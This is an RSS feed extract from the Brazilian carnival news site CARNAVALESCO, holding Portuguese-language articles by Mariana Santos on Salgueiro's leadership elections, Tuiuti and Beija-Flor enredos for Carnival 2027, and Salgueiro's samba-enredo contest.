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	<title>Mariana Santos &#8211; Carnavalesco</title>
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	<description>Carnaval do Rio de Janeiro, escolas de samba, sambas-enredo, fantasias e vídeos</description>
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	<title>Mariana Santos &#8211; Carnavalesco</title>
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		<title>Ouvidos atentos e coração salgueirense: As metas de Dudu Botelho como novo vice-presidente</title>
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		<dc:creator><![CDATA[Mariana Santos]]></dc:creator>
		<pubDate>Tue, 30 Jun 2026 05:22:35 +0000</pubDate>
				<category><![CDATA[Grupo Especial]]></category>
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					<description><![CDATA[<p>Em uma conversa com o CARNAVALESCO, Dudu Botelho, eleito vice-presidente Academia do Samba, compartilhou a profunda emoção e os novos desafios ao assumir o cargo. Com uma trajetória marcada pelo sucesso na ala de compositores, ele agora transita do papel de criador para o de gestor, mantendo o mesmo objetivo que o guiou durante anos: [&#8230;]</p>
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										<content:encoded><![CDATA[<figure id="attachment_194720" aria-describedby="caption-attachment-194720" style="width: 734px" class="wp-caption alignnone"><img fetchpriority="high" decoding="async" class="size-full wp-image-194720" src="https://carnavalesco.com.br/wp-content/uploads/2026/06/dudu_botelho_salgueiro.jpg" alt="dudu botelho salgueiro" width="734" height="494" title="Ouvidos atentos e coração salgueirense: As metas de Dudu Botelho como novo vice-presidente 2" srcset="https://carnavalesco.com.br/wp-content/uploads/2026/06/dudu_botelho_salgueiro.jpg 734w, https://carnavalesco.com.br/wp-content/uploads/2026/06/dudu_botelho_salgueiro-594x400.jpg 594w, https://carnavalesco.com.br/wp-content/uploads/2026/06/dudu_botelho_salgueiro-150x101.jpg 150w, https://carnavalesco.com.br/wp-content/uploads/2026/06/dudu_botelho_salgueiro-624x420.jpg 624w, https://carnavalesco.com.br/wp-content/uploads/2026/06/dudu_botelho_salgueiro-300x202.jpg 300w, https://carnavalesco.com.br/wp-content/uploads/2026/06/dudu_botelho_salgueiro-600x404.jpg 600w, https://carnavalesco.com.br/wp-content/uploads/2026/06/dudu_botelho_salgueiro-696x468.jpg 696w" sizes="(max-width: 734px) 100vw, 734px" /><figcaption id="caption-attachment-194720" class="wp-caption-text">Fotos: Mariana Santos/CARNAVALESCO</figcaption></figure>
<p>Em uma conversa com o <strong>CARNAVALESCO</strong>, Dudu Botelho,<a href="https://carnavalesco.com.br/salgueiro-mais-forte-andre-vaz-garante-que-escola-esta-pronta-para-brigar-de-igual-para-igual-pelo-titulo/" target="_blank" rel="noopener"> eleito vice-presidente Academia do Samba</a>, compartilhou a profunda emoção e os novos desafios ao assumir o cargo. Com uma trajetória marcada pelo sucesso na ala de compositores, ele agora transita do papel de criador para o de gestor, mantendo o mesmo objetivo que o guiou durante anos: a busca incessante pela vitória. Para o  sambista, o cargo é mais do que uma posição administrativa; é o reconhecimento de uma vida inteira dedicada ao pavilhão vermelho e branco.</p>
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<p>“Representa uma emoção muito grande, porque, querendo ou não, tem a história da minha vida aí, um pouco do reconhecimento do amor que eu dediquei a essa escola”, afirmou o dirigente.</p>
<p>Dudu vê essa nova etapa como a continuidade de um sonho. Se antes sua obsessão era conquistar o 10º título do Salgueiro no Grupo Especial como compositor, agora o foco se expande para o sucesso coletivo de toda a agremiação.</p>
<p><a class="" href="https://www.google.com/preferences/source?q=https://carnavalesco.com.br/" target="_blank" rel="noopener" data-mrf-link="https://www.google.com/preferences/source?q=https://https://carnavalesco.com.br/">🔍 Adicione o CARNAVALESCO nas suas fontes favoritas do Google</a></p>
<p>“Eu persegui o 10º título como compositor e agora eu vou perseguir como vice-presidente. Esse é o grande objetivo”, declarou.</p>
<p><strong>Gestão de ouvidos atentos à comunidade</strong></p>
<p>Questionado sobre o que o salgueirense pode esperar de sua gestão, Dudu Botelho destacou que sua principal promessa é a proximidade e a escuta ativa. Em um momento onde o diálogo com a comunidade é fundamental, o vice-presidente se coloca como uma ponte para as demandas dos componentes.</p>
<p>“O que eu quero prometer ao salgueirense é alguém que está com o ouvido muito atento para poder ouvir demandas, poder estudar o que dá e o que não dá para melhorar”, explicou. Para ele, a união de propósitos é a chave, acreditando que todos que amam o Salgueiro de verdade compartilham o mesmo objetivo final.</p>
<p><img decoding="async" class="alignnone size-full wp-image-194721" src="https://carnavalesco.com.br/wp-content/uploads/2026/06/eleicaosalgueiro.jpg" alt="eleicaosalgueiro" width="761" height="429" title="Ouvidos atentos e coração salgueirense: As metas de Dudu Botelho como novo vice-presidente 3" srcset="https://carnavalesco.com.br/wp-content/uploads/2026/06/eleicaosalgueiro.jpg 761w, https://carnavalesco.com.br/wp-content/uploads/2026/06/eleicaosalgueiro-600x338.jpg 600w, https://carnavalesco.com.br/wp-content/uploads/2026/06/eleicaosalgueiro-150x85.jpg 150w, https://carnavalesco.com.br/wp-content/uploads/2026/06/eleicaosalgueiro-745x420.jpg 745w, https://carnavalesco.com.br/wp-content/uploads/2026/06/eleicaosalgueiro-300x169.jpg 300w, https://carnavalesco.com.br/wp-content/uploads/2026/06/eleicaosalgueiro-696x392.jpg 696w" sizes="(max-width: 761px) 100vw, 761px" /></p>
<p>Embora tenha construído sua fama através dos sambas-enredo, Dudu deixou claro que sua função em relação à trilha sonora da escola mudou. Ao ser provocado sobre como garantir um &#8220;sambaço&#8221; para o próximo carnaval, ele respondeu com bom humor e confiança na sua &#8220;escola de origem&#8221;.</p>
<p>“Garantir um sambaço para o próximo ano já não é problema meu mais. É só torcida”, brincou o dirigente. No entanto, a convicção na qualidade do trabalho que será entregue para o enredo de 2027 é total . Dudu aposta suas fichas nos companheiros de ala para pavimentar o caminho rumo ao campeonato: “Tenho a convicção de que essa ala que me formou&#8230; vai produzir um samba à altura do título que o Salgueiro vai conquistar”.</p>
<blockquote class="wp-embedded-content" data-secret="AOWIo262sy"><p><a href="https://carnavalesco.com.br/salgueiro-mais-forte-andre-vaz-garante-que-escola-esta-pronta-para-brigar-de-igual-para-igual-pelo-titulo/">Salgueiro mais forte: André Vaz garante que escola está pronta para brigar de &#8216;igual para igual&#8217; pelo título</a></p></blockquote>
<p><iframe class="wp-embedded-content" sandbox="allow-scripts" security="restricted"  title="“Salgueiro mais forte: André Vaz garante que escola está pronta para brigar de ‘igual para igual’ pelo título” — Carnavalesco" src="https://carnavalesco.com.br/salgueiro-mais-forte-andre-vaz-garante-que-escola-esta-pronta-para-brigar-de-igual-para-igual-pelo-titulo/embed/#?secret=sGSxIFf0jH#?secret=AOWIo262sy" data-secret="AOWIo262sy" width="600" height="338" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe></p>
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		<title>Salgueiro mais forte: André Vaz garante que escola está pronta para brigar de &#8216;igual para igual&#8217; pelo título</title>
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		<dc:creator><![CDATA[Mariana Santos]]></dc:creator>
		<pubDate>Sun, 28 Jun 2026 22:19:14 +0000</pubDate>
				<category><![CDATA[Grupo Especial]]></category>
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					<description><![CDATA[<p>Após ser aclamado presidente do Salgueiro, novamente, para o mandato de 2026-2030, André Vaz falou com o CARNAVALESCO sobre o que representa a renovação de seu mandato à frente da vermelha e branca da Tijuca. Para o mandatário, a permanência no cargo simboliza a confiança depositada por aqueles que vivem o dia a dia da [&#8230;]</p>
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										<content:encoded><![CDATA[<figure id="attachment_194684" aria-describedby="caption-attachment-194684" style="width: 690px" class="wp-caption alignnone"><img loading="lazy" decoding="async" class="size-full wp-image-194684" src="https://carnavalesco.com.br/wp-content/uploads/2026/06/andresalgueiro.jpg" alt="andresalgueiro" width="690" height="439" title="Salgueiro mais forte: André Vaz garante que escola está pronta para brigar de &#039;igual para igual&#039; pelo título 4" srcset="https://carnavalesco.com.br/wp-content/uploads/2026/06/andresalgueiro.jpg 690w, https://carnavalesco.com.br/wp-content/uploads/2026/06/andresalgueiro-600x382.jpg 600w, https://carnavalesco.com.br/wp-content/uploads/2026/06/andresalgueiro-150x95.jpg 150w, https://carnavalesco.com.br/wp-content/uploads/2026/06/andresalgueiro-660x420.jpg 660w, https://carnavalesco.com.br/wp-content/uploads/2026/06/andresalgueiro-300x191.jpg 300w" sizes="auto, (max-width: 690px) 100vw, 690px" /><figcaption id="caption-attachment-194684" class="wp-caption-text">Foto: Mariana Santos/CARNAVALESCO</figcaption></figure>
<p>Após ser aclamado presidente do Salgueiro, novamente, para o mandato de 2026-2030, André Vaz falou com o <strong>CARNAVALESCO</strong> sobre o que representa a renovação de seu mandato à frente da vermelha e branca da Tijuca. Para o mandatário, a permanência no cargo simboliza a confiança depositada por aqueles que vivem o dia a dia da escola.</p>
<p>&#8220;Representa muito. Representa a continuidade do trabalho em busca do nosso título tão sonhado, a confiança dos sócios, dos segmentos, dos funcionários e ser o que mais vale é o reconhecimento. Eles confiam no nosso trabalho e a gente tem que retribuir isso tudo aí&#8221;, afirmou o presidente.</p>
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<p><strong>Recuperação financeira e o desafio da pandemia</strong></p>
<p>Ao fazer um balanço de sua gestão até o momento, André Vaz destacou o esforço para reerguer a saúde financeira do Salgueiro. Segundo ele, o ponto de partida foi um cenário de dificuldades que exigiu uma reestruturação profunda para que a escola voltasse a ser competitiva no Grupo Especial.</p>
<p>&#8220;É um balanço de recuperação da escola. A gente pegou a escola mal financeiramente e agora estamos chegando em um patamar de poder brigar de igual por igual com as outras coirmãs&#8221;, avaliou.</p>
<p>O caminho, no entanto, não foi simples, sendo atravessado por um dos períodos mais desafiadores da história recente do carnaval. &#8220;É um processo difícil que teve uma pandemia no meio que ninguém esperava, mas aconteceu. A gente tinha que estar trabalhando ali no dia a dia, mas foi bem difícil&#8221;, relembrou.</p>
<p><strong>Foco na décima estrela e confiança no Carnaval 2027</strong></p>
<p>Com o olhar voltado para o futuro, André Vaz acredita que a tão aguardada décima estrela está cada vez mais próxima. Ele credita essa confiança à solidez da equipe atual e à força da comunidade salgueirense, projetando um desfile de alto nível para o campeonato de 2027.</p>
<p>&#8220;Eu acho que a gente está bem próxima, porque a gente tem uma equipe consolidada, uns segmentos consolidados, uma comunidade que canta muito, um carnavalesco que a gente confia muito. Esse carnaval que a gente já fez, no meu ponto de vista, a gente já brigou pelo título. É manter isso tudo com esse enredo fortíssimo que a gente conseguiu. Se Deus quiser, vai vir um sambaço, pra gente poder brigar de igual para igual pelo campeonato 2027&#8221;.</p>
<p><strong>Parceria na diretoria</strong></p>
<p>Outro ponto destacado por André Vaz foi a composição da chapa ao lado de Dudu Botelho, agora vice-presidente. A relação, que nasceu dentro das dependências da escola, é vista como um trunfo para a nova etapa da gestão.</p>
<p>&#8220;Dudu é um amigo que eu conquistei aqui dentro dessa casa, um cara de palavra de homem, um cara amigo e eu tenho certeza que a gente vai somar muito em relação ao Salgueiro aí&#8221;, finalizou.</p>
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		<title>&#8216;Temos que fortalecer o gueto’: Enredista do Tuiuti defende vínculo profundo com a comunidade</title>
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		<dc:creator><![CDATA[Mariana Santos]]></dc:creator>
		<pubDate>Fri, 26 Jun 2026 02:30:17 +0000</pubDate>
				<category><![CDATA[Grupo Especial]]></category>
		<category><![CDATA[Tuiuti]]></category>
		<category><![CDATA[Paraíso do Tuiuti]]></category>
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					<description><![CDATA[<p>Para ter uma comunidade engajada, o pertencimento se mostra como um ponto essencial. Durante o &#8220;Samba Enrena&#8221;, realizado no Renascença Clube, no Andaraí, a enredista Josyane Almeida e o pesquisador e compositor Claudio Russo afirmaram ao CARNAVALESCO que o fortalecimento do vínculo entre componentes e os enredos é fundamental para que os integrantes se reconheçam [&#8230;]</p>
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										<content:encoded><![CDATA[<figure id="attachment_194643" aria-describedby="caption-attachment-194643" style="width: 872px" class="wp-caption alignnone"><img loading="lazy" decoding="async" class="size-full wp-image-194643" src="https://carnavalesco.com.br/wp-content/uploads/2026/06/tuiuti_enredistas.jpg" alt="tuiuti enredistas" width="872" height="576" title="&#039;Temos que fortalecer o gueto’: Enredista do Tuiuti defende vínculo profundo com a comunidade 5" srcset="https://carnavalesco.com.br/wp-content/uploads/2026/06/tuiuti_enredistas.jpg 872w, https://carnavalesco.com.br/wp-content/uploads/2026/06/tuiuti_enredistas-600x396.jpg 600w, https://carnavalesco.com.br/wp-content/uploads/2026/06/tuiuti_enredistas-150x99.jpg 150w, https://carnavalesco.com.br/wp-content/uploads/2026/06/tuiuti_enredistas-768x507.jpg 768w, https://carnavalesco.com.br/wp-content/uploads/2026/06/tuiuti_enredistas-636x420.jpg 636w, https://carnavalesco.com.br/wp-content/uploads/2026/06/tuiuti_enredistas-300x198.jpg 300w, https://carnavalesco.com.br/wp-content/uploads/2026/06/tuiuti_enredistas-696x460.jpg 696w" sizes="auto, (max-width: 872px) 100vw, 872px" /><figcaption id="caption-attachment-194643" class="wp-caption-text">Foto: Mariana Santos/CARNAVALESCO</figcaption></figure>
<p>Para ter uma comunidade engajada, o pertencimento se mostra como um ponto essencial. Durante o &#8220;Samba Enrena&#8221;, realizado no Renascença Clube, no Andaraí, a enredista Josyane Almeida e o pesquisador e compositor Claudio Russo afirmaram ao<strong> CARNAVALESCO</strong> que o fortalecimento do vínculo entre componentes e os enredos é fundamental para que os integrantes se reconheçam nas histórias contadas na Avenida e se tornem parte da narrativa apresentada pela escola. Sambas como “Lonã Ifá Lukumi” e “Quem tem medo de Xica Manicongo?” não bateram recordes nas plataformas de streaming nem se popularizaram entre torcedores da noite para o dia. Isso é fruto de um trabalho de pesquisa que aprofunda a relação entre a comunidade e os enredos defendidos a cada ano. Segundo Claudio Russo, enredos que se comunicam com histórias e desejos da comunidade são cada vez mais necessários e impulsionam um bom desempenho na Avenida.</p>
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<p>“O carnaval é muito diferente do que era há vinte anos. Um dos pontos principais é que o carnaval, que antes era uma cultura hegemônica, passou a ser uma cultura de gueto. Então a gente tem que fortalecer o gueto. Se você for ver bem, cada escola sai com, em média, um pouco mais ou um pouco menos, três mil pessoas. Não tem mais ala comercial. Aquelas três mil pessoas que vão por livre e espontânea vontade precisam estar inseridas no projeto e entender a história que vão contar, porque estão lá, no caso da Tuiuti, toda segunda-feira ensaiando. Se elas não se identificarem com as histórias, vai ser muito ruim fazer o desfile”, explicou.</p>
<p>Para isso, o diálogo com a comunidade do Tuiuti tem sido cada vez mais próximo e tem assumido um processo didático. Os enredistas fazem um evento de explanação dedicado à comunidade, no qual explicam cada frase, conceito e a importância de cada personagem e cenário trazido no enredo, bem como o porquê de terem sido escolhidos, a fim de aprofundar o pertencimento e a garra dos componentes. Para 2027, quando levarão para a Sapucaí a história de Tia Ciata, matriarca do samba, não será diferente.</p>
<p>“Através dessa dinâmica que eles apresentam na quadra, como uma audição ou até mesmo uma aula de canto, eles vão passando conhecimento para a nossa comunidade, que é o mais importante. Acredito que a grande maioria ali não sabia da importância da Tia Ciata. Com esse ato tão humilde e tão grandioso deles, sentando, explicando e tendo paciência, conseguem transmitir esse conhecimento. Eu sentia falta disso no carnaval. As escolas simplesmente lançavam o samba, o componente tinha que se virar para aprender e muitas vezes nem sabia o que estava cantando. Diversas vezes vimos componentes dando entrevistas sem conseguir explicar o que estavam cantando ou qual era o enredo. Acho que o Tuiuti vem fazendo isso hoje, e todas as escolas deveriam fazer. Ninguém é obrigado, mas é muito importante o componente conhecer a história que está sendo contada”, defende Josyane.</p>
<p>A enredista e presidente da escola mirim Netinhos do Tuiuti ressalta que o fato faz diferença na relação dos componentes com cada história contada e ganha um contorno ainda mais profundo ao dialogar com o apagamento da história negra do Brasil.</p>
<p>“A gente sabe que a história dos negros foi apagada dos livros de história. O que você encontra hoje é que os negros foram escravizados, sofreram e foram açoitados. Mas e a história de sucesso dos negros? Como eles chegaram aqui? Como nasceu o samba? Como nasceu a capoeira? Isso não aconteceu de um dia para o outro. Existe uma história, um contexto, vidas, choro, lágrimas e sangue. Quando você tem uma pessoa como Cláudio Russo disponível para explicar isso, tudo fica muito mais fácil. As pessoas acabam entendendo as suas origens, de onde vieram e o contexto da sua vivência. Isso é muito importante”, ressaltou.</p>
<p>Mais uma vez, o Tuiuti segue sua tradição de pensar um samba bem alinhado à sinopse e à proposta de carnaval, conduzido por um time coeso de compositores-enredistas. Segundo Russo, a dupla jornada oferece uma visão mais profunda sobre a mente dos compositores e, por outro lado, traz uma abordagem mais poética e lúdica à sinopse, de forma intencional.</p>
<p>“Eu acho que ajuda muito porque, sendo enredista, pesquisador e compositor, eu entendo o que um compositor quer ler. Vou ser muito sincero: temos possibilidade de fazer doze grandes enredos, mas, se não for lúdico, poético e envolvente para o compositor, não vai resultar em um grande samba. Não adianta fazer uma tese de mestrado ou doutorado. O compositor precisa entender. Se a sinopse for excessivamente intelectualizada, ele não vai compreender, porque ela precisa alcançar todos. Não apenas a imprensa, os possíveis jurados ou a intelectualidade do Rio de Janeiro e do Brasil. Ela tem que alcançar todo mundo. Como enredista, sabendo qual é o olhar e o ouvido do compositor, eu tento fazer algo mais poético, trazer uma narrativa mais bonita para a sinopse. Não é apenas despejar informação e colocar nota de rodapé. Isso não fala ao coração do compositor”, avaliou.</p>
<p>Neste ano, o trabalho alcançou um nível ainda maior de integração: Claudio Russo conta que o samba foi escrito simultaneamente à sinopse do enredo, assim como os desenhos das fantasias, feitos por Renato Lage.</p>
<p>“O presidente Thor pediu para mim e para o Simas pensarmos em enredos. Ele sempre fala que já tem dois caminhos em mente e costuma refletir bastante sobre os enredos. Conversou também com o Renato e marcamos um encontro três dias antes. Foi nesse momento que surgiu a ideia desse arco narrativo. Eu escrevi um pequeno texto, e ele foi aprovado imediatamente naquele jantar. Esse pequeno texto acabou se tornando o embrião da sinopse e do samba”, concluiu.</p>
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		<item>
		<title>Beija-Flor e Tuiuti revelam caminhos para transformar histórias de mulheres em sambas protagonistas</title>
		<link>https://carnavalesco.com.br/beija-flor-e-tuiuti-revelam-caminhos-para-transformar-historias-de-mulheres-em-sambas-protagonistas/</link>
		
		<dc:creator><![CDATA[Mariana Santos]]></dc:creator>
		<pubDate>Mon, 22 Jun 2026 19:23:30 +0000</pubDate>
				<category><![CDATA[Grupo Especial]]></category>
		<category><![CDATA[Beija-Flor]]></category>
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		<category><![CDATA[Paraíso do Tuiuti]]></category>
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					<description><![CDATA[<p>Há mais semelhanças do que se imagina ligando Nilópolis ao Morro do Tuiuti. Além das comunidades apaixonadas e dos sambas em alta no streaming, em 2027 também compartilharão enredos de protagonismo feminino. Esse foi o destaque da tarde de debates sobre enredos no Renascença Clube, no Andaraí, com a presença dos enredistas do Paraíso do [&#8230;]</p>
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										<content:encoded><![CDATA[<figure id="attachment_194567" aria-describedby="caption-attachment-194567" style="width: 873px" class="wp-caption alignnone"><img loading="lazy" decoding="async" class="size-full wp-image-194567" src="https://carnavalesco.com.br/wp-content/uploads/2026/06/tuiutibeija.jpg" alt="tuiutibeija" width="873" height="558" title="Beija-Flor e Tuiuti revelam caminhos para transformar histórias de mulheres em sambas protagonistas 7" srcset="https://carnavalesco.com.br/wp-content/uploads/2026/06/tuiutibeija.jpg 873w, https://carnavalesco.com.br/wp-content/uploads/2026/06/tuiutibeija-600x384.jpg 600w, https://carnavalesco.com.br/wp-content/uploads/2026/06/tuiutibeija-150x96.jpg 150w, https://carnavalesco.com.br/wp-content/uploads/2026/06/tuiutibeija-768x491.jpg 768w, https://carnavalesco.com.br/wp-content/uploads/2026/06/tuiutibeija-657x420.jpg 657w, https://carnavalesco.com.br/wp-content/uploads/2026/06/tuiutibeija-300x192.jpg 300w, https://carnavalesco.com.br/wp-content/uploads/2026/06/tuiutibeija-696x445.jpg 696w" sizes="auto, (max-width: 873px) 100vw, 873px" /><figcaption id="caption-attachment-194567" class="wp-caption-text">Fotos: Mariana Santos/CARNAVALESCO</figcaption></figure>
<p>Há mais semelhanças do que se imagina ligando Nilópolis ao Morro do Tuiuti. Além das comunidades apaixonadas e dos sambas em alta no streaming, em 2027 também compartilharão enredos de protagonismo feminino. Esse foi o destaque da tarde de debates sobre enredos no Renascença Clube, no Andaraí, com a presença dos enredistas do Paraíso do Tuiuti, Claudio Russo e Josyane Almeida, e dos enredistas da Beija-Flor de Nilópolis, Vivian Pereira e Guilherme Niegro, em mais uma edição do Samba Enredo.</p>
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<p>A escolha do enredo da Beija-Flor partiu de um desejo de mergulhar novamente no Brasil indígena, tema já tratado em carnavais históricos da escola. Além da profunda ligação com o Norte do Brasil e com a figura de Dona Zeneida desde a primeira participação da escola com o campeonato “O Mundo Místico dos Caruanas nas Águas do Patu-Anu” (1998), a escolha de um enredo que exalte uma liderança feminina também foi motivada pela alta de notícias sobre feminicídio e violência contra a mulher.</p>
<p>A escola quis tratar o tema sob a ótica da força de Dona Zeneida, que é uma mulher indígena, última pajé marajoara e autora do livro “O Mundo Místico dos Caruanas da Ilha do Marajó” (1992), que inspirou o enredo campeão. Seu trabalho com ativismo lhe rendeu o título de Doutora Honoris Causa pela Universidade do Estado do Pará (UEPA).</p>
<p>&#8220;As mulheres vêm se tornando notícia no Brasil por causa da violência que sofrem diariamente. Nós não queríamos falar da mulher por essa perspectiva. Queríamos falar da força da mulher e do seu poder transformador para a sociedade. Tia Ciata foi uma mulher negra que usou as estratégias disponíveis em seu tempo para que hoje estivéssemos aqui falando sobre samba. Já Dona Zeneida traz a força da mulher amazônica, que muitas vezes nem entra nas discussões sociais. É uma mulher que, apesar de todas as violências e perseguições que sofreu, transformou isso em uma obra social riquíssima para proteger outras meninas e mulheres&#8221;, avaliou Vivian.</p>
<p>Dona Zeneida se manteve presente na história da Beija-Flor desde 1998. Guilherme relata que a pajé continuou cuidando espiritualmente da escola e que, antes do desfile de 2026, visitou o barracão para dar orientações espirituais para um ritual realizado antes da entrada na Sapucaí. A equipe criativa viu o encontro como algo agendado pela espiritualidade e não hesitou em escolhê-la quando a ideia de homenageá-la foi apresentada.</p>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-194568" src="https://carnavalesco.com.br/wp-content/uploads/2026/06/tuiutibeija_2.jpg" alt="tuiutibeija 2" width="619" height="386" title="Beija-Flor e Tuiuti revelam caminhos para transformar histórias de mulheres em sambas protagonistas 8" srcset="https://carnavalesco.com.br/wp-content/uploads/2026/06/tuiutibeija_2.jpg 619w, https://carnavalesco.com.br/wp-content/uploads/2026/06/tuiutibeija_2-600x374.jpg 600w, https://carnavalesco.com.br/wp-content/uploads/2026/06/tuiutibeija_2-150x94.jpg 150w, https://carnavalesco.com.br/wp-content/uploads/2026/06/tuiutibeija_2-300x187.jpg 300w" sizes="auto, (max-width: 619px) 100vw, 619px" /></p>
<p>&#8220;Vamos falar desse reencontro de Dona Zeneida com a Beija-Flor e revisitar ‘Caruanas’ por outro olhar. Vamos trazer essa ancestralidade. Falaremos da infância dela, de como se tornou pajé, dessa criança que nasceu para exercer essa missão. Vamos contar a trajetória dessa mulher guerreira, que passou por tantas dificuldades e continuou construindo resistência. Também abordaremos a questão ambiental, educacional e a proteção da Amazônia e do Marajó. Terminaremos celebrando Dona Zeneida. Ela receberá esse desfile na Sapucaí e será aplaudida em vida, o que é muito importante. Precisamos homenagear os nossos em vida&#8221;, destacou Guilherme.</p>
<p>Já pelas bandas de São Cristóvão, a homenagem é à “matriarca do samba”. Tia Ciata, a mãe de santo e quituteira que recebia as rodas de samba, mas também acolhia os sambistas. O enredo marca a chegada de Renato Lage ao Paraíso do Tuiuti, com apoio dos pesquisadores Claudio Russo e Luiz Antônio Simas.</p>
<p>&#8220;Tia Ciata foi uma das primeiras a vestir roupa de baiana, com seus apetrechos, e sair para vender quitutes no centro da cidade. Se a história dela fosse só essa, já daria um grande enredo. Tia Ciata contribuiu para o samba chegar onde está hoje. Na casa dela se fazia samba, choro e macumba. Quando a polícia vinha para acabar com o samba ou com a macumba, ela dizia que estava tocando choro, porque o choro não era proibido. Se a história dela fosse só isso, já seria muito importante para um enredo. Tia Ciata hoje é a responsável pela existência da ala de baianas. Só que a história dela é tudo isso e muito mais. O público se apaixonou por essa história. Tia Ciata está presente em tudo o que se fala sobre samba no Rio de Janeiro. Sempre é mencionada. Só que agora ela não é mais uma coadjuvante. Tia Ciata será cantada e terá sua história contada como protagonista de tudo o que está aí&#8221;, explicou.</p>
<p><strong>Compondo um samba campeão</strong></p>
<p>Seguindo uma tradição, o Tuiuti terá mais um ano com samba-enredo composto por encomenda, sob a caneta de Claudio Russo e Gustavo Clarão, como em “Quem Tem Medo de Xica Manicongo?”, e com Luiz Antônio Simas em “Lonã Ifá Lukumi” e “Tia Ciata, a Mãe Preta do Samba”, em 2027. Para Russo, a produção de um samba encomendado é mais difícil do que uma disputa.</p>
<p>“A responsabilidade é muito maior. Se o compositor que recebeu a encomenda errar, é um ano de erro para a escola. O samba representa uma parte enorme do Carnaval. As pessoas acham que quem recebe a encomenda está mais tranquilo, mas é justamente o contrário. Na disputa existem outros sambas concorrendo. Na encomenda, toda a responsabilidade recai sobre quem está escrevendo&#8221;, avaliou.</p>
<p>Em Nilópolis, com a disputa que se iniciará no começo de agosto, os compositores foram orientados a compor um samba em primeira pessoa, dando voz a uma protagonista que contará sua própria história.</p>
<p>&#8220;A sinopse foi escrita em primeira pessoa. Nossa preocupação foi trazer Dona Zeneida narrando a própria história, como se estivesse conversando com alguém. Esse alguém é a comunidade, a escola, o público, o Brasil. A única orientação foi essa: que o samba fosse construído em primeira pessoa, como se fosse uma mulher contando a própria trajetória&#8221;, explicou Guilherme.</p>
<p>Quanto ao que torna um samba campeão, Josyane afirma que uma boa melodia é capaz de envolver qualquer pessoa, assim como aconteceu com “Lonã Ifá Lukumi”, samba de 2026 do Paraíso do Tuiuti.</p>
<p>&#8220;Eu acho que foi a melodia. No início, o samba foi julgado como difícil, um trava-língua. Com o passar do tempo, o Carnaval passou, já estamos falando do Carnaval de 2027, e ele continua sendo o samba mais tocado do Carnaval de 2026. Acho que foi isso: a melodia, a pegada, o molho. Qualquer pessoa que ouve o samba do Paraíso do Tuiuti de 2026 não consegue ficar parada&#8221;, avaliou.</p>
<p>Em concordância, Russo declara que a possibilidade de surgir um grande samba, capaz de ficar eternizado através dos carnavais, mora em uma boa sinopse.</p>
<p>&#8220;Para fazer samba bom não tem receita. Às vezes o compositor acha que o samba é bom e não é. Às vezes ele não leva tanta fé e o samba é muito bom. Mas o mais importante para se ter um grande samba é ter um grande enredo. Além de um grande enredo, é preciso uma grande narrativa através da sinopse. Geralmente, de grandes enredos e grandes sinopses nascem grandes sambas. É muito difícil encontrar um samba que não tenha nascido de um grande enredo. Mesmo não tendo fórmula, é o enredo, a narrativa e a construção da sinopse que ajudam a construir um grande samba&#8221;, afirmou.</p>
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		<title>Salgueiro anuncia inscrições gratuitas para disputa de samba-enredo de 2027</title>
		<link>https://carnavalesco.com.br/salgueiro-anuncia-inscricoes-gratuitas-para-disputa-de-samba-enredo-de-2027/</link>
		
		<dc:creator><![CDATA[Mariana Santos]]></dc:creator>
		<pubDate>Thu, 11 Jun 2026 22:34:13 +0000</pubDate>
				<category><![CDATA[Grupo Especial]]></category>
		<category><![CDATA[Salgueiro]]></category>
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					<description><![CDATA[<p>A principal novidade anunciada para a disputa de samba-enredo do Salgueiro para o Carnaval 2027 foi a gratuidade das inscrições das obras concorrentes. Para o presidente André Vaz, a medida deve ampliar a participação dos compositores. “É um enredo especial para o Salgueiro e para o carnaval. Confio na capacidade dos compositores do Salgueiro e [&#8230;]</p>
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										<content:encoded><![CDATA[<figure id="attachment_194338" aria-describedby="caption-attachment-194338" style="width: 820px" class="wp-caption alignnone"><img loading="lazy" decoding="async" class="size-full wp-image-194338" src="https://carnavalesco.com.br/wp-content/uploads/2026/06/salgueirosinopse27.jpg" alt="salgueirosinopse27" width="820" height="501" title="Salgueiro anuncia inscrições gratuitas para disputa de samba-enredo de 2027 9" srcset="https://carnavalesco.com.br/wp-content/uploads/2026/06/salgueirosinopse27.jpg 820w, https://carnavalesco.com.br/wp-content/uploads/2026/06/salgueirosinopse27-600x367.jpg 600w, https://carnavalesco.com.br/wp-content/uploads/2026/06/salgueirosinopse27-150x92.jpg 150w, https://carnavalesco.com.br/wp-content/uploads/2026/06/salgueirosinopse27-768x469.jpg 768w, https://carnavalesco.com.br/wp-content/uploads/2026/06/salgueirosinopse27-687x420.jpg 687w, https://carnavalesco.com.br/wp-content/uploads/2026/06/salgueirosinopse27-300x183.jpg 300w, https://carnavalesco.com.br/wp-content/uploads/2026/06/salgueirosinopse27-696x425.jpg 696w" sizes="auto, (max-width: 820px) 100vw, 820px" /><figcaption id="caption-attachment-194338" class="wp-caption-text">Foto: Divulgação/ Thaynara Andrade Salgueiro</figcaption></figure>
<p>A principal novidade anunciada para a disputa de samba-enredo do Salgueiro para o Carnaval 2027 foi a gratuidade das inscrições das obras concorrentes. Para o presidente André Vaz, a medida deve ampliar a participação dos compositores.</p>
<p>“É um enredo especial para o Salgueiro e para o carnaval. Confio na capacidade dos compositores do Salgueiro e de que eles vão nos entregar o melhor samba do Carnaval 2027”, afirmou.</p>
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<p>O diretor de carnaval, Wilsinho Alves, falou que a escola fez adaptações na disputa e cita que o concurso deve começar no dia 8 de agosto e a final será no dia 12 de setembro.</p>
<blockquote class="wp-embedded-content" data-secret="1JymdoGGft"><p><a href="https://carnavalesco.com.br/salgueiro-2027-leia-a-sinopse-do-enredo/">Salgueiro 2027: leia a sinopse do enredo</a></p></blockquote>
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		<title>‘Amor ao Carnaval e Perseverança’ Aprendizes do Salgueiro celebra legado de Sidclei Santos no Carnaval 2027</title>
		<link>https://carnavalesco.com.br/amor-ao-carnaval-e-perseveranca-aprendizes-do-salgueiro-celebra-legado-de-sidclei-santos-no-carnaval-2027/</link>
		
		<dc:creator><![CDATA[Mariana Santos]]></dc:creator>
		<pubDate>Thu, 04 Jun 2026 13:57:49 +0000</pubDate>
				<category><![CDATA[Grupo Especial]]></category>
		<category><![CDATA[Salgueiro]]></category>
